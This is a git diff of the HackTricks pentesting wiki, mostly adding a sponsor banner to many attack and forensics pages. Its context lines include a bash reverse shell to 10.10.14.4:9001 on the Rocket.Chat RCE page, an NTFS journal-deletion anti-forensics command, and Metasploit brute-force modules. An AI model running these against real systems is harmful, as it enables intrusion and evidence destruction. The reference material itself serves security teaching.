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9
binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
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@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% code title="template.py" %}
```python
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -232,6 +236,11 @@ Try to **subtract 64 bytes to the address of "/bin/sh"**:
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

8
forensics/basic-forensic-methodology/anti-forensic-techniques.md
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@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Timestamps
@ -163,6 +167,10 @@ It's also possible to modify the configuration of which files are going to be co
* `fsutil usn deletejournal /d c:`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>

8
forensics/basic-forensic-methodology/windows-forensics/README.md
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@ -16,6 +16,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Generic Windows Artifacts
### Windows 10 Notifications
@ -510,6 +514,10 @@ EventID 6005 indicates system startup, while EventID 6006 marks shutdown.
Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>

8
generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
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@ -12,6 +12,10 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Acquisition
### DD
@ -120,6 +124,10 @@ Note that sector size is **512** and start is **2048**. Then mount the image lik
mount disk.img /mnt -o ro,offset=$((2048*512))
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

7
generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md
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@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## FHRP Hijacking Overview
@ -136,6 +140,9 @@ Executing these steps places the attacker in a position to intercept and manipul
## References
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>

8
generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md
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@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
```
@ -267,6 +271,10 @@ Moreover, probes which do not have a specifically defined **`servicewaitms`** us
If you don't want to change the values of **`totalwaitms`** and **`tcpwrappedms`** at all in the `/usr/share/nmap/nmap-service-probes` file, you can edit the [parsing code](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) such that these values in the `nmap-service-probes` file are completely ignored.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

8
generic-methodologies-and-resources/phishing-methodology/clone-a-website.md
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@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
For a phishing assessment sometimes it might be useful to completely **clone a website**.
@ -40,6 +45,9 @@ goclone <url>
#https://github.com/trustedsec/social-engineer-toolkit
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>

8
linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
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@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
@ -183,6 +187,10 @@ This directory permits access to modify kernel variables, usually via `sysctl(2)
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

12
macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md
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@ -9,11 +9,14 @@
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper** is a security feature developed for Mac operating systems, designed to ensure that users **run only trusted software** on their systems. It functions by **validating software** that a user downloads and attempts to open from **sources outside the App Store**, such as an app, a plug-in, or an installer package.
@ -461,6 +464,11 @@ aa archive -d s/ -o app.aar
In an ".app" bundle if the quarantine xattr is not added to it, when executing it **Gatekeeper won't be triggered**.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

6
mobile-pentesting/android-app-pentesting/content-protocol.md
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@ -14,6 +14,9 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**This is a summary of the post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
@ -94,6 +97,9 @@ Proof-of-Concept HTML:
</html>
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>

9
mobile-pentesting/android-app-pentesting/install-burp-certificate.md
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@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## On a Virtual Machine
First of all you need to download the Der certificate from Burp. You can do this in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
@ -165,6 +170,10 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

9
mobile-pentesting/android-app-pentesting/tapjacking.md
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@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Basic Information**
**Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\
@ -74,6 +79,10 @@ The mitigation is relatively simple as the developer may choose not to receive t
>
> To enable touch filtering, call [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) or set the android:filterTouchesWhenObscured layout attribute to true. When enabled, the framework will discard touches that are received whenever the view's window is obscured by another visible window. As a result, the view will not receive touches whenever a toast, dialog or other window appears above the view's window.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

10
mobile-pentesting/ios-pentesting/ios-uipasteboard.md
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@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Data sharing within and across applications on iOS devices is facilitated by the [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mechanism, which is divided into two primary categories:
- **Systemwide general pasteboard**: This is used for sharing data with **any application** and is designed to persist data across device restarts and app uninstallations, a feature that has been available since iOS 10.
@ -79,6 +84,11 @@ setInterval(function () {
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

10
network-services-pentesting/11211-memcache/memcache-commands.md
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@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Commands Cheat-Sheet
**From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
@ -140,6 +145,11 @@ END
This at least helps to see if any keys are used. To dump the key names from a PHP script that already does the memcache access you can use the PHP code from [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

10
network-services-pentesting/4786-cisco-smart-install.md
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@ -12,6 +12,11 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Basic Information
**Cisco Smart Install** is a Cisco designed to automate the initial configuration and loading of an operating system image for new Cisco hardware. **By default, Cisco Smart Install is active on Cisco hardware and uses the transport layer protocol, TCP, with port number 4786.**
@ -49,6 +54,11 @@ The switch configuration **10.10.100.10** will be in the **tftp/** folder
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

9
network-services-pentesting/69-udp-tftp.md
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@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Basic Information
@ -56,6 +60,11 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
* `port:69`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

10
network-services-pentesting/pentesting-rlogin.md
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@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Basic Information
In the past, **rlogin** was widely utilized for remote administration tasks. However, due to concerns regarding its security, it has largely been superseded by **slogin** and **ssh**. These newer methods provide enhanced security for remote connections.
@ -46,6 +51,11 @@ rlogin <IP> -l <username>
find / -name .rhosts
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

11
network-services-pentesting/pentesting-rpcbind.md
View file

@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Basic Information
**Portmapper** is a service that is utilized for mapping network service ports to **RPC** (Remote Procedure Call) program numbers. It acts as a critical component in **Unix-based systems**, facilitating the exchange of information between these systems. The **port** associated with **Portmapper** is frequently scanned by attackers as it can reveal valuable information. This information includes the type of **Unix Operating System (OS)** running and details about the services that are available on the system. Additionally, **Portmapper** is commonly used in conjunction with **NFS (Network File System)**, **NIS (Network Information Service)**, and other **RPC-based services** to manage network services effectively.
@ -96,6 +101,11 @@ When conducting a **nmap scan** and discovering open NFS ports with port 111 bei
* Practice these techniques in the [**Irked HTB machine**](https://app.hackthebox.com/machines/Irked).
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## HackTricks Automatic Commands
```
@ -122,6 +132,7 @@ Entry_3:
Command: nmap -sSUC -p 111 {IP}
```
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

7
network-services-pentesting/pentesting-sap.md
View file

@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Introduction about SAP
@ -318,6 +322,9 @@ bizploit> start
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>

10
network-services-pentesting/pentesting-web/drupal.md
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@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Discovery
* Check **meta**
@ -189,6 +194,11 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

10
network-services-pentesting/pentesting-web/rocket-chat.md
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@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## RCE
If you are admin inside Rocket Chat you can get RCE.
@ -46,6 +51,11 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
* Call it with curl and you shuold receive the rev shell
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

10
network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
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@ -14,10 +14,13 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Enumeration
```text
```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
msf> use auxiliary/scanner/vmware/esx_fingerprint
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
@ -25,12 +28,15 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
# Bruteforce
```text
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
If you find valid credentials, you can use more metasploit scanner modules to obtain information.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>

9
pentesting-web/cors-bypass.md
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@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## What is CORS?
Cross-Origin Resource Sharing (CORS) standard **enables servers to define who can access their assets** and **which HTTP request methods are permitted** from external sources.
@ -398,6 +402,11 @@ You can find more information about the previous bypass techniques and how to us
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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9
pentesting-web/dependency-confusion.md
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@ -12,6 +12,11 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Basic Information
In summary, a dependency confusion vulnerability occurs when a project is using a library with a **misspelled** name, **inexistent** or with an **unspecified version** and the used dependency repository allows to **gather updated versions from public** repositories.
@ -51,6 +56,10 @@ In the [**original post about dependency confusion**](https://medium.com/@alex.b
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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10
pentesting-web/oauth-to-account-takeover.md
View file

@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Basic Information <a href="#d4a8" id="d4a8"></a>
OAuth offers various versions, with foundational insights accessible at [OAuth 2.0 documentation](https://oauth.net/2/). This discussion primarily centers on the widely used [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), providing an **authorization framework that enables an application to access or perform actions on a user's account in another application** (the authorization server).
@ -220,6 +225,11 @@ If the platform you are testing is an OAuth provider [**read this to test for po
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

10
pentesting-web/parameter-pollution.md
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@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# HTTP Parameter Pollution (HPP) Overview
HTTP Parameter Pollution (HPP) is a technique where attackers manipulate HTTP parameters to change the behavior of a web application in unintended ways. This manipulation is done by adding, modifying, or duplicating HTTP parameters. The effect of these manipulations is not directly visible to the user but can significantly alter the application's functionality on the server side, with observable impacts on the client side.
@ -65,6 +70,11 @@ The way web technologies handle duplicate HTTP parameters varies, affecting thei
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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9
pentesting-web/proxy-waf-protections-bypass.md
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@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Techniques [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
@ -122,6 +126,11 @@ It was possible to bypass AWS WAF because it wouldn't understand that the next l
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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9
todo/more-tools.md
View file

@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# BlueTeam
@ -131,6 +135,11 @@ Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a pla
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Info about BB programs
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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10
todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
View file

@ -14,6 +14,11 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Intro
For more info about how 125kHz tags work check:
@ -63,6 +68,11 @@ After **copying** a card or **entering** the ID **manually** it's possible to **
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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10
windows-hardening/active-directory-methodology/abusing-ad-mssql.md
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@ -12,6 +12,11 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **MSSQL Enumeration / Discovery**
The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case.
@ -205,6 +210,11 @@ A strategy that many authors have come up with is to force a SYSTEM service to a
[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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8
windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
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@ -14,6 +14,10 @@ Other ways to support HackTricks:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**This is a summary of escalation technique sections of the posts:**
